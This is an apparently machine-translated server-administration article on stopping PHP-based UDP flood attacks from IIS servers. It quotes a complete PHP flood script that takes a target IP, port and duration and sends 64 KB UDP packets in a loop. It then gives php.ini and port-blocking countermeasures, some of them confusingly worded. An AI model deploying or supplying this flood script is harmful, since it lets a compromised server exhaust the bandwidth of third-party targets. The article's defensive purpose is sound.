Using PHP code to call sockets, directly with the server's network attack other IP, before I have encountered this problem in Apache, today we talk about the IIS to prevent the use of PHP DDoS network bandwidth and server resources processing methods.
Common code for PHP DDoS is as follows:
The code is as follows |
Copy Code |
$packets = 0; $ip = $_get[' IP ']; $rand = $_get[' Port ']; Set_time_limit (0); Ignore_user_abort (FALSE); $exec _time = $_get[' time '); $time = time (); Print "flooded: $ip on port $rand "; $max _time = $time + $exec _time; for ($i =0; $i <65535; $i + +) { $out. = "X"; } while (1) { $packets + +; if (Time () > $max _time) { Break }
$fp = Fsockopen ("udp://$ip", $rand, $errno, $ERRSTR, 5); if ($fp) { Fwrite ($fp, $out); Fclose ($FP); } } echo "Packet". Time (' h:i:s '). "With $packets (". Round (($packets *65)/1024, 2). "MB) packets averaging". Round ($packets/$exec _time, 2). "PACKETS/S n"; ?> |
Performance characteristics:
When IIS is turned on, the outgoing bandwidth of the server is exhausted-----that is, the server is constantly contracting to others, which is different from DDoS attacks, which are constantly receiving a large number of packets.
Workaround:
Set its value to off in the C:windowsphp.ini.
The code is as follows |
Copy Code |
Allow_url_fopen = Off |
And:
The code is as follows |
Copy Code |
; Extension=php_sockets.dll |
The number must have, meaning to limit the use of sockets.dll.
And then:
The code is as follows |
Copy Code |
; Ignore_user_abort = On |
The number of the front is to be removed.
Then restart IIS
If the above method is still invalid, you can disable PHP extension testing in IIS, allowing extensions.
Note: If your server does not run the mechanism PHP can be closed, if necessary can be php_sockets.dll to prohibit, there is one way is to put the UDP port is all sealed, as long as 80 and other important ports open on it.
http://www.bkjia.com/PHPjc/444702.html www.bkjia.com true http://www.bkjia.com/PHPjc/444702.html techarticle call sockets with PHP code, directly with the server's network attack other IP, before I have encountered this problem in Apache, today we tell about the IIS to prevent the use of PHP DDoS network belt ...